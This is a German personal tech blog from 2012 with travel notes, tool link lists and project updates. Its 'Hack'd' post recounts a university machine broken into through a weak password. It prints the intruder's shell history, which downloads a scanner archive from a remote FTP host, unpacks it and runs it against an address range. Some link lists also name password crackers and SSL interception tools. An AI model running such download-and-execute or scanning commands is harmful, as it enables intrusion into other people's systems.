mecker. mecker. mecker.

Impressionen aus Russland: St. Petersburg

2012-05-19T12:52:00Z

Ich war ja vor einiger Zeit™ in Russland, aber bisher nicht in der Lage, eine Bildergalerie mit Jinja2 zu basteln. Das habe ich nachgeholt und hier sind ein paar Fotos aus dem schönen St. Petersburg gegen Ende Februar.

Ein besonderes Highlight hatten wir durch Couch Surfing: wir konnten im Studentenwerk schlafen. Wer jetzt an geräumige Zimmer mit viel Komfort denkt, liegt falsch. Die heruntergekommen Bauten sind videoüberwacht und man darf nur als eingetragener Student überhaupt in das Haus hinein. Es teilen sich drei Menschen ein Zimmer, 40 Menschen drei Toiletten und keiner macht sauber. Internetversorgung ist DIY, wer sich nicht mit 40 Leuten eine 56k-Verbindung teilen will, holt sich Internet via Mobilfunk.

Die Feuerleiter ist übrigens unser täglicher Eingang gewesen. Dafür ist die Gastfreundschaft armer Studenten besser als jedes Hotel.

Neben der Kunstkamera ein altes aber gutes UDSSR-Museum. Mit etwas Feilschen kommt man auch als Jenaer Student zum ermäßigten Tarif rein.

Nach drei Tagen ging es mit der Eisenbahn über zwei Tage Richtung Yekaterinburg… to be continued.

Hack'd

2012-05-18T20:37:00Z

Letzten Mittwoch bekam ich während einer Vorlesung ‘ne Mail, dass das Rechenzentrum der Universität einen Hack0r-Angriff an einem unserer Rechensklaven festgestellt hat. Etwas schockiert, wie DAS nur mit LINUX passieren konnte, bin ich schnell vorbeigekommen und fand in der Tat eine Art “Bot”.

Als ordentlicher Sys-Admin nutzen ich und meine Kollegin nur SSH-Keys und so dachte ich mir auch nichts, als ich bei der versehentlichen Deskop-Variante von Ubuntu dem Standard-Nutzer das Passwort qq zu geben, immerhin würde ich ja den SSH-Zugang auf Schlüsseldateien beschränken. Naja, dazu kam es dann doch nicht, weil sich die Biologen im Praktikum schon so schwer genug mit einer UNIX-Shell tun und so konnte man sich weiterhin per Passwort einloggen.

So hat sich dann nach mehreren Monaten – 191 Tage um genau zu sein – doch endlich jemand gefunden und den viel, viel schwereren Nutzernamen zu obigem Passwort zu finden! Nämlich “dev”. Das ist Security by Obscurity vom feinsten! Der Bot war aber auch nicht der klügste. Seine Aktivitäten waren (primär Portscanning) komplett in der .bash_history nachzulesen:

$ wget ftp://test:testtest@62.160.84.235/KapelaScan.tgz; tar zxvf K*
        $ rm -rf KapelaScan.tgz; cd kapela
        $ chmod +x *
        $ ls
        $ ./a 80.236
        $ ps x

Ein rm -rf /home/dev setzte dem Spuk dann ein Ende. Wer an einem Dump interessiert ist. Inklusive Passwortliste, wo auch qq gelistet war. Es ist also wirklich ein unsicheres Passwort :-)

Linkschleuder #23

2012-05-02T18:59:00Z

Wieder mal eine etwas umfangreicherer Auswurf zu allerlei nutzlosen bis nützlichen Projekten.

Misc

octogit – ein kleines Tool (mit gigantischen Dependencies) für Github’s Issues, das das Projekt automatisch aus dem unterliegenden Git-Repository entnimmt (und bei non-ASCII failt m).
Github ❤ ~/ – Your unofficial guide to dotfiles on GitHub.
Nitro – ein freies Programm für das TODO-Management.
Funtoo – wie der Name erwarten lässt, eine Art Gentoo nur git-based, verteilter Portage Tree und vieles mehr.
t – t ist Twitter für die CLI, die sich gut in die UNIX-Toolchain integriert.
Snippets – ist eine Art static compiler (angelehnt an Pelican) für Code-Schnipsel, schon ganz hübsch.
CasperJS – ist ein Webkit/JS-Framework um Browser-Interaktionen automatisiert zu testen.
Resizer – A responsive design bookmarklet (gefunden von sebix), alternativ gibt’s auch diesen Generator.
Rezepte – verschiedene Kochrezepte, die mit social coding auf GitHub entstanden sind :-)
Binärgewitter – ein Geek-Podcast und darum hörenswert!
12 resulutions for programmers

OS X

Marked – eine kostenpflichtige App für OS X, die einfach per FSEvent Markdown in besonders hübsch rendert. Mit eigenen Skripts kann man damit auch reStructuredText rendern.
Clyppan – die Linuxer werden sich jetzt totlachen, aber um an alte Zwischenablagen zu kommen, müssen Mac-User schon 5 € investieren.
TimeMachineScheduler – ist eine kostenlose Preference Pane, die z.B. das Backup-Intervall steuern kann (ist bug-lastig, wenn das Backup nicht immer angeschlossen ist!). Andernfalls hilft auch ein beherztes sudo defaults write /System/Library/LaunchDaemons/com.apple.backupd-auto StartInterval -int 14400 um das Backup alle drei Stunden auszuführen.
Disable or sleep secondary hard drive in Macbook – denn nach einem SSD-Upgrade ist es schon recht nervig, dass die zweite HDD endlos weiterläuft.

Python

restview – ein sehr praktischer reStructuredText Viewer, leider ohne Sphinx-Support.
cram – BBD aka Behavior Driven development für CLI-Tools und wird unter anderem auch von mercurial genutzt.
Python to Java – weil es das Studium wieder verlangt: wieviel Boilerplate brauche ich, um ein Konstrukt von Python in Java zu schreiben. Eine sehr hilfreiche Referenz!
Codetalker – A succinct, pythonic parser + translator solution
microsearch – eine wunderbar dokumentierte Lösung für eine performante Search-Engine in Python.
depgraph – Generating Python Module Dependency Graphs
uWSGI – ein micro-WSGI Server, der einen mit seinen CLI-Optionen regelrecht erschlägt: wsgi --help | wc -l ergeben 379 Zeilen. Selbst ausgereifte Tools wie wget oder curl haben nur knapp die Hälfte.

Linkschleuder #22

2012-04-12T13:02:00Z

Microjs – Micro-Frameworks und Micro-Libraries von wenigen hundert Bytes bis drei, vier Kilobytes, die man über das Anti-Framework Ender auch einfach zusammenbasteln kann.
JavaScript Patterns – ist eine recht ansehnliche Sammlung über allgemeine JS-Patterns, Design Patterns JQuery und vieles mehr.
GNU parallel – ist ein Tool für Linux (gibt auch einen BSD Port), das parallele Jobs in der Shell vereinfachen soll (via Noqqe mit vielen Beispielen dazu).
Klaus – a simple Git web viewer that Just Works™.
Cream Desktop Environment – GTK+ nach dem KISS-Prinzip. Vielleicht eine Alternative zu Gnome/KDE.
Curlish – yet another buntes cURL.
Inception – für mehr Kontrolle im N9 (dessen Meego Serie ja fortgesetzt wird als low-end System). Hab’ das Telefon nicht, aber Projektname und Seite gefällt mir sehr.
Icefloor – ein Front-End für IPFW unter OS X Lion, soll aber noch nicht ganz fehlerfrei sein (via cmur2).
Mediathek für Mac – die öffentlich-rechtlichen direkt am Mac streamen, frei wie Freibier.
Reverend – ein einfacher bayesscher Filter implementiert in Python.
coverage.py – ein Python-Skript, das die Code-Nutzung nach einem Durchlauf per Text oder HTML Ausgabe angibt. Etwas buggy bei jinja2-Templates und allgemein fehlerbehaftet bei mir. Kann ja noch werden.
Konira – ein Python Testing Framework mit einer DSL! Das ist die wohl erste Python-DSL die mir je unterkommen ist und sieht klasse aus (rspec-like)!
LaTeX Templates – qualitative (englische) LaTeX-Templates für lau (via Schockwellenreiter).
mobile Engeräte und freie Software – eine gute Übersicht über den aktuellen Stand freier Software auf Smartphones (nein, Android ist noch immer nicht frei) und Tablets. Sieht mau aus.
How to nap – jetzt ‘mal was ganz anderes: Nickerchen von ca. 20-45 Minuten sollen die Leistungsfähigkeit am Abend enorm erhöhen.

Ich hoffe, es ist für jeden ‘was dabei.

Acrylamid 0.3 – yet another static blog compiler

2012-04-02T00:42:00Z

Ich freue mich, heute endlich Version 0.3 meines statischen Blog-Compilers “Acrylamid” zu veröffentlichen (ehemals lilith). Einiges getan, so nutze ich HTML5 als Layout-Grundlage, habe eine neue Artikel-Ansicht und allerlei Detailverbesserungen im System selbst, ein kurzer Auszug:

full-featured Blog mit Index, Full-Entry, Artikel und Tags (WordPress halt) in statische Seiten gebacken.
typographische Feinheiten, MathML und Silbentrennung für diverse Sprachen
RSS-Import, Autokompilierung bei Änderungen, Deployment
einen Jinja2-Filter mit dem man Jinja2 in Einträgen schreiben kann, denn I HERD U LIEK JINJA2 SO I PUT A JINJA2 IN UR JINJA2 SO U CAN WRITE TEMPLATES WHILE U WRITE TEMPLATES
Aufräumen von verwaisten Dateien im Ausgabe-Verzeichnis
überarbeitete API ähnlich zur Pelican-API
einen portierten Acronym-Filter, der automatisch DSL, WSGI und XMPP dem weniger versierten Nutzer kurz erläutert

Erwähnenswert ist übrigens die Ausführung von UNIX-Skripten direkt im Eintrag acrylamid-0.3.txt:

$> ls -l
        total 2240
        -rw-r--r--  1 ich staff     543 Mai  7 19:57 README.md
        -rw-r--r--  1 ich staff    1657 Mai  8 23:02 conf.py
        drwxr-xr-x  8 ich staff     272 Mai  2 15:01 content
        drwxr-xr-x  2 ich staff      68 Apr 11 22:07 filters
        drwxr-xr-x  8 ich staff     272 Mai  8 23:04 layouts
        -rw-r--r--  1 ich staff  849641 Mai 12 14:54 out.png
        drwxr-xr-x 29 ich staff     986 Mai 12 18:03 output
        -rw-r--r--  1 ich staff 1433175 Mai 12 14:54 pstats
        $> find content | wc -l
        175
        $> git log -3 --no-color --oneline
        390a2b0 fix typos, escaping and remove search
        10c99c0 remove previous atom-feed sitemap
        60e4128 update + sitemap.xml

Interna

Das Wichtigste ist eigentlich das System für das Tracken von Änderungen im Content oder Layout auf dem Dateisystems. So müssen bei mehreren Durchläufen nur bestimmte Einträge neu gerendert werden, bei Layout-Änderungen kann sogar komplett auf den Cache zurückgegriffen werden. Dadurch reduziert sich die Rechenzeit von ehemals 45 Sekunden auf ungefähr eine Sekunde, wenn ich einen neuen Eintrag schreibe – inklusive Änderung der Tag/RSS/Index-Ansichten.

Acrylamid nutzt dafür tolle Jinja2-Magie um nur gezielt alle von den Änderungen am Template betroffenen Seiten neu zu rendern. Für die einzelnen Filter, die individuell pro Eintrag und Ansicht angewendet werden können, nutze ich ein komplexes System aus verzögerter Ausführung und Zurückführung auf gemeinsame Filter, sodass Ansichten wie bsw. RSS ohne Silbentrennung und Zusammenfassung und eine Index-Ansicht mit Silbentrennung und Zusammenfassung dennoch das gemeinsame Markdown-Intermediat nutzen, womit jede zusätzliche Ansicht ohne merkliche Erhöhung der Rechenzeit gerendert werden kann.

Weltherrschaftsplan

Leider hat es mit der Dominierung noch nicht so ganz geklappt, die Suchfunktion ist mit dem HTML5-Layout wieder einmal unfunktional (ja ich hatte zwischenzeitlich eine statische Suche) und ich habe immer noch keine merkliche Unterstützung für Assets. Ich möchte auch testen inwiefern sich Acrylamid für große Blogs mit vielen hundert Einträgen eignet. Derzeit rennt er mir bei ca. 160 Einträgen in unter einer Sekunde durch, wenn es nichts zu tun gibt.

Acrylamid ist unter der revised BSD-Lizenz lizensiert und wird auf GitHub aktiv von mir entwickelt. Über Feedback freue ich mich!

Linkschleuder #21

2012-04-01T20:41:00Z

GitCasts – kostenfreie Screencasts über Git über Rebasing, Branching etc.
Destroy All Software – kurze, schnelle (kommerzielle) Screencasts mit vielen kleinen Details über Ruby, UNIX und Vim. Empfehlenswert!
Cytoplasm – static blogging in Python mit gigantischer Dokumentation, aber komplizierter Konfiguration. Wäre ein Blick wert.
Web Change Checker – ist ein mächtiges Toolkit um sich über Änderung auf Webseiten per Email, XMPP oder RSS auf dem Laufenden zu halten. Überaus nützlich!
PCRE – einmal pro Jahr wünsche ich mir mit grep multiline zu suchen und ich finde heraus, dass das nicht funktioniert. Mit PCRE soll das wohl funktionieren, wenn auch mit merkwürdigen CLI-Flags.
AppFresh – ist ein ganz nettes Pendant zu Secunias PSI für Windows und hat mich auf manche Updates hingewiesen.
Vagrant – Virtualized development made easy.
Measure Anything, Measure Everything – viele und schöne Statistiken, war mir ein Blogmark wert.
Gprof2Dot – verwandelt Profiling Daten von Python, Java etc. pp. in einen gigantischen Graphen aus prozentualer Rechenzeit. Sieht fantastisch aus!
Writing a Python Command Line Interface with Sub-Commands, hat mir einen guten Denkanstoß gegeben Python’s (deprecated) optparse nicht so verkrampft zu nutzen, sondern einfach Flags parsen lassen.

Linkschleuder #20

2012-03-26T00:13:00Z

Und hier die Fortsetzung der 19, alles was ungleich OS X ist:

Web, Programming & Python

comment_rave – ein freies Kommentarsystem auf PHP-Basis. Will ich schon seit Jahren testen!
Asciiflow – ein ASCII Flow Diagramm Werkzeug im Browser.
Sparkup – Yet another HTML Präprozessor, der einen HTML schneller schreiben lässt. Mit Video-Beweis!1
Pycoder’s Weekly – eine privacy-unaware (?) Liste, die wöchentlich (manchmal wirklich) interessante Links rund um Python verschickt. Blöd ist, dass die Mail im Browser besser weitaus aussieht und außerdem keine echten Links gesetzt werden.
A Guide to Python’s Magic Methods – und der Vollständigkeit halber gleich noch das Python Data model.
pyp – eine Python-Werkzeug für das on-the-fly Pipen in Shells mit builtin-Helpers und so.
goatfish – eine Python Library, das schemaloses ORM in eine SQLite pumpt. Vielleicht ein Fallback, wenn es keine große NoSQL-Datenbank gibt.
Tries – Roll your own autocomplete solution using Tries.
A Note About Git Commit Messages – wie man gute Commit Nachrichten schreibt. Brachte mich vom past tense zum present tense.
Line endings – Mac and Linux users, you don’t get to sit this one out.

Linux/Unix-Zeug

Linux. Das umfassende Handbuch – ein weiteres \<openbook> von Galileo Computing in der neusten Auflage (via Schockwellenreiter).
Suicide-Linux – Encourages users not to misspell commands, (die User Reviews sind auch sehr gut ;-)
bashmarks – directory bookmarks for the shell.
crontab-gui – A visual crontab utility.
SmokePing – ein Tool, das die Netzwerk-Latenz misst und in eine RDD schreibt. Sieht echt gut aus!
john – ist eigentlich ein Passwort-Cracker, kann aber auch (limitiert) Wortlisten erstellen. Aber nicht so gut wie crunch.
crunch – ein Wortlisten-Generator, der aus einem Charsets alle Permutationen bestimmter Länge und Komplexität erstellt. Eignet sich prima für aircrack-ng‘s STDIN :-)
tmuxinator – Create and manage tmux sessions easily.
Teamocil – Teamocil is a simple tool used to automatically create sessions, windows and splits in tmux with YAML files. Testen!
gpodder – ein Podcast-Client für diverse OSes, will man aber nicht händisch für OS X mit GUI kompilieren. Hier verlinkt, weil es einen netten CLI-Clienten hat.

Linkschleuder #19

2012-03-26T00:02:00Z

Wieder eine dedizierte OS X Linkschleuder; aber nur weil es sonst zu unübersichtlich geworden wäre. Die nächste ist im Anflug: Linkschleuder #20.

Äpps

Asepsis – nein, keine neue Krankheit sondern eine Ausgliederung des Codes aus TotalFinder in einen Dämon, der die berühmten .DS_Store-Dateien ganz raffiniert in einen gesonderten Ordner umleitet. Must-have!
XtraFinder – ein recht neues, proprietäres Plugin für den Finder, das einige fehlende Funktionen im Finder nachrüstet, (via cmur2).
Mou – The missing Markdown editor for web developers, ganz hübsch (via Schockwellenreiter).
atMonitor – Mac OS X System Monitor and Process Explorer Tool (frei wie Freibier).
Reggy – eine sinnlose, aber freie Software um Reguläre Ausdrücke diverser Sprachen in einer schicken GUI zu testen.
Waterroof – ein grafisches Frontend zur Firewall von OS X, IPFW, (frei wie Freibier).
Wineskin – yet another Wine-Manager für OS X mit aktuell Wine 1.4, der für jedes Windows-Programm eine extra Weinflasche herunterlädt und verschließt. Das geringste Übel unter den restlichen Bundlern und wine selbst.
induction – ein open-source SQL/NoSQL Database Client für OS X. Testen!

Developer-Tools

Homebrew 0.9 – der missing package manager for OS X hat einen Meilenstein geschafft und supported nun auf einfache Art und Weise andere Repositories, was gegen die teilweise sehr kompromisslosen Formula-Policy doch ganz nützlich erscheint.
How to uninstall Xcode – und danach gleich den OSX-GCC-Installer rauf (via rfc1437).
The Haskell Platform – fertige Binary für den GHC samt Paketmanager Cabal. Praktisch, wenn mit Homebrew das Bauen (nahezu immer) failt.
Growly – schickt den STDOUT von bsw. ls -F direkt an Growl.
tmux unter OS X – pbcopy und pbpaste im tmux wiederherstellen.

Misc

PDF Browser Plugin – damit soll wohl Preview bzw. dessen Quartz-Komponente PDFs in Firefox und Co darstellen können.
OS X Tool Belt – aus Sicht eines Web-Entwicklers.
Traffic Shaping at Mac OS X – vielleicht taugt das was als trickle-Ersatz.
Privoxy unter Lion – mit Komplett-Anleitung und launchd-Integration.
Alternative Skins für Skype 5 – weil die Skype GUI wirklich scheiße ist, haben die Entwickler wohlweißlich CSS-Support eingebaut (via cmur2).

Das neue schlechte iPad

2012-03-18T20:33:00Z

Seit ein paar Tagen ist ja wieder das neue iPad (formerly known as iPad 3) ein Hype, dabei hat es das dieses Mal nicht verdient. Dass das iPad damals™ visionär war, müssen auch Fandroids einsehen, das iPad 2 ist ebenso ein exzellentes Produkt. Aber was ist das neue iPad? Das ist ein Stück ~~Scheiße~~ Beta-Hardware:

wird warm (36 °C und wir haben noch nicht Hochsommer), sprich über Körpertemperatur – ein absolutes No Go! Wie kann Apple denn wieder dengleichen Fehler wie beim iPad 1 machen?
das Display mit einer höheren Auflösung als mein Macbook Pro, das ist schön und gut aber ich weiß inzwischen nicht mehr, was für Apple ein Pro-Nutzer ist.
der Prozessor/Quadcore-Grafik (was für’n Marketing-Witz) bringt nicht die vierfache Leistung um das neue Display mit der gleichen Leistung wie das iPad 2 anzusteuern.
Safari, Wake Up und PDF-Ansicht ist langsamer geworden. HALLO? Sowas verkauft Apple als Neuheit? Das es langsamer geworden ist?
Das Teil hat einen größeren Akku als das Macbook Air 11” (42,5 Wh versus 35 Wh), doppelt so viel wie das vorherige iPad und erreicht dennoch nur die gleiche oder schlechtere (mit nicht unterstützdem LTE in Deutschland++) Laufzeit. Mit diesem Akku + 60 Gramm mehr Gewicht (das ist nicht soo störend finde ich) hätte man das alte iPad locker 20, in Zahlen ZWANZIG Stunden laufen lassen können. Das wäre eine Neuheit!
Sieben Stunden Zeit zum Akku Aufladen. SRSLY?

Ich hatte ja wirklich überlegt, aber nach ein paar Recherchen im Internetz warte ich doch lieber auf ein späteres neues iPad, das zumindest nichts schlechter macht als das iPad 2. Zumal es im Apple Education Store keinen Rabatt auf das iPad gibt. Apple, das war eine ganz schwache Leistung!

Aber natürlich ist Apple auf ihre Art ~~revolutionär~~ neu, denn die Konkurrenz muss jetzt erst einmal auf ein Software Update von Google hoffen ehe sie ihre Hardware ausbauen, was dann zu einer noch größeren Fragmentierung der Android-Gemeinde führt und in einen weiteren verbissenen K(r)ampf zwischen Fanboys und Fandroids m)

Linkschleuder #18

2012-03-16T10:56:00Z

Oh weh, die Linkschleuder wird mein zunehmend mein primärer Inhalt hier. Immerhin hörte ich, es ist für manche von Nutzen. Hier eine gesammelte Ausgabe mit Links zu Python, Web-Zeugs und anderem.

Python

Blueprint – “reverse-engineers servers” ähnlich wie puppet.
httpie – ein “cURL for humans”, sprich curl mit Syntax-Highlighting und automatischem Code-Indent bei HTML/JS für die Shell (via The Changelog).
SSHout – zum einfachen Sharen einer SSH-Session.
Beets – hatte ich zwar schon mal, aber ist immer noch ein klasse Picard Ersatz, der alles beim Import von Musik automatisiert.
PBS – ein Python Wrapper für die üblichen Shell-Befehle wie z.B. ifconfig("eth0").
ShowMe – ein schnelles und einfaches Tool für simples Debugging in Python, indem man Decorators auf die zu betrachtende Funktion legt. Ist bunt und in Farbe!1
The AST Module – Static Modification of Python With Python.
Installing ipython notebook to replace matlab – Wer das noch nicht kennt, ipython notebook ist ein Qt-Tool ähnlich wie Matlab und das gibt’s jetzt auch für als HTML5+Websockets im Browser und rockt richtig. Allerdings ist es äußerst schwer das from scratch zu installieren, lieber ein Ubuntu mit apt-get build-deps ipython nehmen, spart einige Stunden Failen.

Web

convergence – “an agile, distributed and secure strategy for replacing Certificate Authorities” mit Firefox Plugin. Alternative zum SPOF-Tool HTTPS Everywhere der EFF.
pipes – das Projekt von Yahoo zum Aggregieren von Content, steht hier nur für’s Archiv, ich habe meine Pipes in Ruby nachgebaut für mehr Flexibilität und Features.
HTML2Text – ein in Python geschriebenes Skript, das HTML wieder zurück in Markdown-kompatiblen Text konvertiert.
Markmin – noch eine Markup-Language, die viel Syntax von Markdown übernimmt, aber auch neue einführt. Kann immerhin Image-Attribute.
HTTP Archive – The HTTP Archive tracks how the Web is built.
Eloquent JavaScript – A Modern Introduction to Programming.
JavaScript – A re-introduction to JavaScript von Mozilla.
Data Driven Documents (D3) – Daten manipulieren und visualisieren in JavaScript.
DiveIntoMark – ein Mirror von Mark Pilgrims Projekten wie Dive Into HTML5, Dive Into Python und Dive Into Python 3, die seiner informationellen Selbstzerstörung zum Opfer fielen. Leider ist sein überaus informatives Blog nicht dabei, das z.B. den Einsatz und Hintergrund von Permanent-Links in Atom-Feeds erklärt.

Misc

Doodle Unplugged – das neuste Tool von Doodle zur Terminvereinbarung :-)
Project Euler – eine Serie von Mathematik/Informatik Aufgaben, die immer schwerer werden.
Problem 1:

If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23.
Find the sum of all the multiples of 3 or 5 below 1000.
The Restart Page – Free unlimited rebooting experience from vintage operating systems!
Chakra Linux – ein Arch Linux Fork mit Fokus auf KDE-Integration, ist zur Zeit mein Desktop Linux.
Android-x86 – Run Android on Your PC (inklusive Ice Cream Sandwich).
Apple started decaying before Steve Jobs’ death – ein kleiner, aber sehr feiner Rant über die Software Politik von Apple am Beispiel von ~~Mac~~ OS X.
We Need to Talk About Android – Auch ein lesenswerter Rant.

Linkschleuder #17

2012-02-20T15:11:00Z

Heute über ad-blocking HTTP-Proxies, Man-in-the-Middle-Proxies und SSL-über-HTTP-Proxies. Proxies, Proxies, Proxies.

Polipo – a caching web proxy, hatte ich hier schon, kann auch Werbung blocken, indem z.B. die Easylist in ein /etc/polipo/forbidden-taugliches Format umgewandelt wird. Hier steht wie es ginge (es geht aber mit den aktuellen Easylists (partiell) nicht mehr, da müsste jemand ran, und polipo-unverträgliche Ausdrücke entfernen/kompatibel machen).
bfilter – a filtering web proxy für HTTP Kompression, built-in JavaScript Engine, heuristischer Flash-Analyzer und on-the-fly processing. Vielleicht lässt sich dieser mit den Easylists erweitern.
mitm – an SSL-capable man-in-the-middle proxy, mit dem man unter anderem den Adressbuch-Klau bei Path und Twitter unter iOS sehen konnte.
sslsniff – wie mitm ein man-in-the-middle Proxy, der on-the-fly SSL Zertifikate erstellt und allen Traffic im LAN abhört.
trickle – a lightweight userspace bandwith shaper für *BSD und Linux, leider aber nicht für Darwin/OS X.
corkscrew – Tunneling SSH over an HTTP-Proxy Server, falls man mal in die Bedrängnis kommt (oder SSL mit polipo cachen will ;-) (via /home/claw).
30 books everyone in software business should read (and why) – geblogmarkt, man weiß ja nie (via Zipfelmaus).

DIASPORA*

2012-02-19T22:27:00Z

Letzte Woche gab’s im lokalen Hackerspace eine kurze Einführung in das “ja-hab-ich-mal-von-gehört”-Projekt: DIASPORA*. Diaspora ist der Versuch, Facebook/Google+ dezentral mit einer quelloffenen Software aufzubauen. Das Projekt wird demnächst zwei Jahre alt und ist immer noch im Alpha-Stadium, obwohl zunächst angekündigt wurde, innerhalb von drei Monaten fertig zu sein.

Funktionsweise

Bei Diaspora heißen die einzelnen dezentralen Server Pods und sind komplett eigenständige Instanzen, die keine zentralen Knoten benötigen. Als anschauliches Beispiel nehme ich ‘mal jenaspora.de und den offiziellen Pod joindiaspora.com. Die Nutzer aus Jena können auf diesem Pod ohne Umwege über joindiaspora.com kommunizieren und fällt dieser aus, kümmert das niemanden. Wenn sich ein Freund von mir nun auf joindiaspora.com angemeldet hat, ich aber auf jenaspora.de verweile, so gibt es nun eine Anfrage über das webfinger-Protokoll, ob die Nutzerkennung userid@domain.tld auf dem jeweiligen Host vorhanden ist und falls ja, merkt sich joindiaspora.com diese Verbindung.

Sollte nun ein Nutzer aus jenaspora.de in seinem Posting über die Aspekte (das ist das Zirkel-pendant zu Google+) den Nutzer vom anderen Pod mitadressiert haben, so wird jenaspora.de den Host, in diesem Fall joindiaspora.com pushen. So läuft das mit Posts, Kommentaren und privaten Nachrichten. Eine Besonderheit von Diaspora ist noch die verschlüsselte Kommunikation zwischen den Pods über ein Public-Key-Verfahren, das auch über eine SSL-Verbindung läuft. Innerhalb von Pod ist allerdings alles unverschlüsselt.

Einen eigenen Pod aufzusetzen ist allerdings etwas schwierig, da manchmal der Hauptentwicklungszweig manchmal bricht und ein exaktes Setup von Nöten ist: Ruby on Rails mit Ruby am besten in Version 1.9, MySQL oder PostgreSQL und eine Domain samt gültigem SSL-Zertifikat (wünschenswert). Dazu kommt eine halbwegs aktuelle Linux-Distribution und viel Zeit zum Konfigurieren und Testen, ob die Kommunikation zwischen den einzelnen Pods funktioniert. Aber einmal aufgesetzt, läuft es stabil.

Alpha-Stadium

Diaspora ist wirklich noch alpha, das beweist nicht nur die Entwicklungsstrategie. Es gibt noch eine Menge gewollter und ungewollter Ungereimtheiten:

joindiaspora.com ist überlastet und ein single-point-of-failure, der theoretisch nie existieren sollte.
Nutzerdaten liegen für jeden Podbesitzer im Klartext in der Datenbank (wenn auch nicht an einem zentralen Ort).
keine federation, d.h. wenn ein Pod wegen Wartungsarbeiten offline ist, gehen Nachrichten unwideruflich verloren!
umständliches Setup, Ruby on Rails ~~ist scheiße~~ skaliert nicht gut, siehe #1.
Amazon S3-Anbindung, da joindiaspora.com überlastet ist – Widerspruch zur Dezentralität.
Entwicklungsschwerpunkt liegt bei joindiaspora, was kontraproduktiv ist.
offizielle Zertifikate von StartSSL, wenn man nicht Debian fährt, wo auch CAcert integriert ist, sonst wird die Verbindung verweigert.
läuft nicht auf WLAN-Routern, da Minimum 256 MB RAM benötigt werden.

Ich bin sozialen Netzen zwar inzwischen sehr abgeneigt, aber Diaspora könnte wirklich eine gute Alternative zum Mainstream-Facebook/Google+ werden. Ich bin gespannt auf das fertige System.

weave-minimal Update

2012-02-18T22:41:00Z

Ich habe heute wieder etwas an meinem server-full-Fork weave-minimal gebastelt und habe es geschafft, die Registrierung direkt im Firefox zu ermöglichen. Der alternative Weg über die CLI mit erweitertem Nutzernamen-Spektrum existiert natürlich weiterhin. Änderungskatalog:

direkte Registrierung im FF
rudimentärer /misc/1.0/captcha_html-Support (d.h. ohne reellen Nutzen)
mehr standard-konform
offene Registrierung per Default, einfach ENABLE_REGISTER auf False setzen

Spielwiese

Unter https://posativ.org/weave/ läuft ein Sync-Server mit einer offenen Registrierung; wer mir also vertraut (Passwort wird gesalzen als truncated sha1-Hash gespeichert) oder einfach nur Testen will, ob mein Server was taugt – benötigt allerdings CAcert-Vertrauen, ist hier gerne willkommen.

Linkschleuder #16

2012-02-03T10:34:00Z

Zen Coding – a new way of writing HTML and CSS code, Sublime Text 2 Plugin
sshuttle – transparenter Proxy trifft VPN, ohne viel basteln und ärgern. Einfach SSH.
Ziproxy – ein zippender Proxy, der allerdings nicht alle externen Quellen in eine Datei packt. Dann wäre es für’s Handy praktisch gewesen.
gitfinger – Stalking auf GitHub.
python for humans – ein sehr witziger Rant über Python und was die Community besser machen kann.
How to read Haskell like Python
crate.io – ein PyPi-Mirror, der quelloffen ist und mehr Features bietet als PyPi.
mer – eine offene, optimiert für Mobilgeräte, Distribution á la MeeGo mit Fokus auf Qt und HTML5.
plasma active – ein KDE Projekt für Tablets und Mobilgeräte, der doch schon etwas besser als Android aussieht. Ein weiterer Beweis, dass KDE verdammt modular ist.
goaccess – ein (Apache) Common Logfile Reader. Mit ncurses (!) und für große Bildschirme optimiert! Beispiel?
HTML5 for Publishers – kostenlos in PDF, epub und Mobi (auch für Kindle) nach Registrierung

Linkschleuder #15

2012-02-02T21:56:00Z

Diesmal etwas *hust* sehr *hust* Mac-lastig.

Nativa – der Client für rtorrent schlechthin.
TunnelerX – und der Vorgänger Tunneler, der ein Icon in die Leiste setzt, um ad-hoc einen SSH-Tunnel aufzubauen.
NinjaKit – GreaseMonkey für Safari.
MplayerX – eine Art VLC nur in hübsch (und funktionaler).
Postbox – ein kommerzieller Mozilla Thunderbird Fork, der einfach nur etwas mehr Mac-GUI hat. Nicht empfehlenswert.
Lyn – möchte eine leichtgewichtige iPhoto-Alternative sein.
MiniUsage – zeigt diverse (unzählig viele) Statusinformationen leicht zugänglich per Dropdown-Menü in der Leiste an.
MacDentro – OS X Wartungstool, das die UNIX-Dienste und -Interna aufräumt (cronjobs laufen, etc. pp.). Gibt’s auch in hübsch und kommerziell: Cocktail.app.
Enqueue – eine leichtgewichtige iTunes-Alternative. Klare Empfehlung von mir!
Bean – eine Textverarbeitung für OS X. Hilfreich, wenn man auf Pages/Open|LibreOffice verzichten möchte.
SourceTree – kostenloser Client für Mercurial und Git mit Integration von github.com und bitbucket.org. Erfordert nach einem Monat eine kostenlose Registrierung.
Qute – ein ziemlich hübscher Editor für Markdown; gibt’s auch für PC.
TextMate 2 Tips – ein Blog über das aufkommende TextMate 2. Unabhängig davon gibt es auch ein MateWiki.

polipo – a caching web proxy

2012-01-29T20:21:00Z

In den zwei vergangenen Wochen habe ich viel mit Proxy-Techniken rumgespielt. Anfangs noch ein SOCKSv5 über SSH getunnelt, über direkte HTTP Authentifizierung mit polipo und Privoxy im Chaining auf einem 128 MiB RAM Host in der Schweiz. Leider entsprach das nicht direkt meinem Wunsch, den Verkehr bis zum anonymisierenden Proxy im Klartext zu schicken – und langsam(er) war es auch. Für zwei Tage hatte ich auch mein SheevaPlug als caching web proxy missbraucht, nur machte das in der Verbindung mit Privoxy nicht allzu viel Spaß: über 3 Sekunden für ein Aufruf von spiegel.de.

Das primäre Problem mit SSH war das Abbrechen der Verbindung in jedem Fall nach dem Ruhezustand (wenn nicht schon nach 5 Minuten nichts tun, was zumindest mit KeepAlive gehalten werden kann, eine DSL-Zwangstrennung überlebt das nicht). Zu spät habe ich von autossh erfahren und habe stattdessen mit der Äpp Tunneler bzw. dessen Nachfolger TunnelerX (free as in free beer) gespielt, wo letzteres zwar die Ports richtig hinbekommt, nur ersteres aber die SOCKSv5-Verbindung – reconnecten nach dem Schlafen kann es auch nicht.

Mit DSL ~4500 macht ein Setup mit einem caching web proxy in der Schweiz wenig Sinn, viel cooler wäre ja ein lokaler (oder im LAN, sofern man im heimischen W-LAN ist) Proxy der das Pseudo-Scheiß-Caching vom Firefox und Konsorten ausgleicht. Hier ein Tipp unter OS X: ControlPlane, open-source, ist ein Tool, dass verschiedene (Netzwerk-) Einstellungen je nach Abstand des Mondes oder Wifi SSID/BSSID aktivieren kann. So kann für das Uni-Netz der heimische Proxy-Server deaktiviert werden und sobald wieder das ‘traute Netz da ist aktivieren.

